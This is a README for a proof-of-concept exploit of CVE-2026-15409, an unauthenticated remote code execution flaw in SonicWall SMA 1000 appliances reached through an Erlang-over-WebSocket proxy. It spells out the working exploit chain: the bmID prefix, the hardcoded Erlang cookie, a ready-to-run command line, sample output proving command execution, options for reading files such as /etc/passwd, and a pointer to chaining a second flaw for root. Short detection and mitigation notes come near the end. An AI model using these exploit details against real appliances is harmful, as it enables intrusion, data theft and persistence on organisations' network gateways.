## https://sploitus.com/exploit?id=440A70F3-3917-57EE-9F1F-EC799A74E517
# 🚀 CVE-2026-15409 – SonicWall SMA 1000 Erlang RCE via WebSocket Proxy
[](https://github.com/Ch4120N/CVE-2026-15409/stargazers)
[](https://github.com/Ch4120N/CVE-2026-15409/issues)
[](LICENSE)
> **Proof‑of‑Concept exploit for CVE-2026-15409** – unauthenticated remote code execution on SonicWall SMA 1000 series appliances via the Erlang distribution protocol tunneled over WebSocket.
---
## 📖 Overview
**CVE-2026-15409** is a critical vulnerability affecting SonicWall SMA 1000 appliances (versions prior to the June 2026 hotfix). The flaw resides in the **WorkPlace service** (usually exposed on port 443) which proxies WebSocket connections to internal Erlang nodes. By forging a valid `bmID` parameter and using a hardcoded Erlang cookie, an attacker can establish an authenticated distribution channel and execute arbitrary system commands as the `couchdb` user (or other low‑privileged accounts) via RPC calls to `os:cmd/1`.
This repository provides a **fully functional PoC** that automates the entire exploit chain – from WebSocket handshake to arbitrary command execution – with a clean interface, advanced error handling, and beautiful logging.
### 🔍 Key Features
- **WebSocket tunneling** – works directly over `wss://` using the `wsproxy` endpoint.
- **Erlang distribution protocol** – fully implements the handshake and ETF (Erlang External Term Format).
- **Remote code execution** – via `os:cmd/1`; can read files via `file:read_file/1` or test connectivity with `erlang:node/0`.
- **Intelligent detection** – supports arbitrary `bmID` values (as long as they start with `-3389`) and multiple `serviceType` values.
- **Comprehensive logging** – color‑coded messages with `[+]`, `[*]`, `[-]`, `[!]` symbols for easy monitoring.
---
## 🧬 Vulnerability Details
The vulnerability stems from the following design weaknesses in the SMA 1000:
1. **Unrestricted WebSocket proxying** – The `/wsproxy` endpoint forwards binary WebSocket messages to a local Erlang distribution port (`localhost:1050` by default) without proper authentication or authorisation.
2. **Predictable/hardcoded Erlang cookie** – The cookie used for distribution authentication is static across all SMA appliances (at least in the tested version). This allows an external attacker to complete the handshake.
3. **Exposed Erlang node** – The Erlang node `couchdb@127.0.0.1` listens on `1050` and accepts connections from the WebSocket proxy, making it reachable from the network.
4. **Powerful RPC interface** – The Erlang node offers the standard `rex` service, which can execute arbitrary functions on the node, including `os:cmd/1`.
### Affected Versions
- SonicWall SMA 1000 series with firmware **prior to the June 2026 hotfix** (e.g., `ex_sra_vm_12.5.0-02002.ova`).
- The WorkPlace service must be enabled (default configuration).
### Impact
- **Remote Code Execution** as the `couchdb` user (UID 1010, group daemon).
- **Lateral movement** – an attacker can leverage CVE-2026-15410 (XML‑RPC path traversal) to escalate privileges to root.
- **Data exfiltration** – read arbitrary files via `file:read_file/1`.
- **Persistence** – install backdoors or modify system files.
---
## 🔧 Exploitation Requirements
- **Network access** to the SMA appliance’s WorkPlace service (usually TCP/443).
- **No valid credentials** are required – the exploit works unauthenticated.
- **Python 3.8+** with the `websockets` library (install via `pip install websockets`).
---
## 🚀 Usage
### Installation
```bash
git clone https://github.com/Ch4120N/CVE-2026-15409.git
cd CVE-2026-15409
pip install -r requirements.txt # websockets
```
### Basic Command
```bash
python3 cve-2026-15409.py \
--ws-url 'wss://TARGET_IP/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' \
--ws-user-agent 'SMA Connect Agent' \
--ws-insecure-tls \
--exec 'whoami && id && pwd && hostname'
```
### Example Output
```
░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▄▀▀░░░░░▀█░░█▀▀░█░█░▄▀▄░▄▀▄
░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░█▀▄░▄▄▄░░█░░▀▀▄░░▀█░█/█░░▀█
░▀▀▀░░▀░░▀▀▀░░░░░▀▀▀░░▀░░▀▀▀░░▀░░░░░░▀▀▀░▀▀░░░░▀░░▀░░▀▀░
[CVE-2026-15409]
Erlang Distribution RCE via WebSocket Proxy
Owner: Ch4120N
[ * ] Connecting via WebSocket to wss://192.168.56.102/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050
[ * ] Preparing RPC: os:cmd('whoami && id && pwd && hostname')
[ + ] Authenticated to couchdb@127.0.0.1
[ * ] Calling os:cmd/1 ...
[ + ] RPC call completed
[ * ] Peer name: couchdb@127.0.0.1
[ * ] Peer flags: 0xd07df7fbd
[ * ] Peer creation: 1784069352
[ + ] Command output:
couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma
```
### Advanced Options
| Argument | Description |
|----------|-------------|
| `--host`, `--port` | TCP fallback (if not using WebSocket) |
| `--cookie` | Override the default hardcoded cookie |
| `--name` | Custom local Erlang node name |
| `--ws-origin` | Set Origin header for WebSocket |
| `--ws-user-agent` | User‑Agent string (default: `SMA Connect Agent`) |
| `--ws-insecure-tls` | Disable TLS verification (self‑signed certs) |
| `--read-file` | Read a file from the target (e.g., `/etc/passwd`) |
| `--rpc` | Just test connection by calling `erlang:node/0` |
---
## 🧪 Technical Details for Detection & Tuning
### Hardcoded Cookie
The Erlang cookie used in the exploit is:
```
10ecad5b446e86864832904cd439b6b70262
```
This value is **consistent across all tested SMA appliances** and is hardcoded in the Erlang process on `localhost:1050`. It is **not** the same as the user‑configured cookie for clustering.
### The `bmID` Parameter
The `bmID` must start with `-3389` (e.g., `-3389c1b25ccd`). Arbitrary values after the prefix are accepted, so signature‑based detection should not rely on a fixed hash.
### Service Types
While the example uses `serviceType=SSH`, other values such as `TELNET` also work. The exploit is **agnostic** to the service type.
### Port Selection
Port `1050` is the default internal port, but in‑the‑wild attacks have been observed targeting port `8188` as well. The exploit can be adapted to any port that exposes the Erlang distribution protocol.
### Privilege Escalation
After gaining a shell as `couchdb`, an attacker can leverage **CVE-2026-15410** – an XML‑RPC path traversal that allows removal of the hotfix and subsequent root privilege escalation.
---
## 🛡️ Detection & Mitigation
### Indicators of Compromise (IoCs)
- Unusual WebSocket connections to `/wsproxy` with `bmID` starting with `-3389`.
- Unexpected outbound connections from the SMA appliance to external IPs.
- Processes spawned by the `couchdb` user (e.g., `bash`, `python`, `nc`).
- Modification or creation of files in `/var/tmp/` by the `couchdb` user.
### Recommended Actions
1. **Apply the official patch** from SonicWall (June 2026 hotfix) immediately.
2. **Restrict access** to the WorkPlace service to trusted IP ranges only.
3. **Monitor logs** for anomalous WebSocket activity and Erlang distribution attempts.
4. **Change the Erlang cookie** for the internal Erlang node (if possible) – though this may affect application functionality.
5. **Disable the WorkPlace service** if not required.
---
## 👏 Credits
- **discovery & PoC**: [Ch4120N](https://github.com/Ch4120N).
- **Additional research**: SonicWall PSIRT and the broader security community.
---
## 📄 License
This project is licensed under the MIT License – see the [LICENSE](LICENSE) file for details.
**Disclaimer**: This tool is for educational and authorised testing purposes only. The author and contributors are not responsible for any misuse or damage caused by this software.
---
## 📚 References
- [SonicWall Security Advisory](https://www.sonicwall.com/support/notices) (CVE-2026-15409)
- [NIST NVD Entry – CVE-2026-15409](https://nvd.nist.gov/vuln/detail/CVE-2026-15409)
---
## ⭐ Support
If you find this PoC useful, please consider giving it a ⭐ on GitHub and sharing it responsibly. Contributions, issues, and pull requests are welcome!
---
**Happy hacking!** 🛡️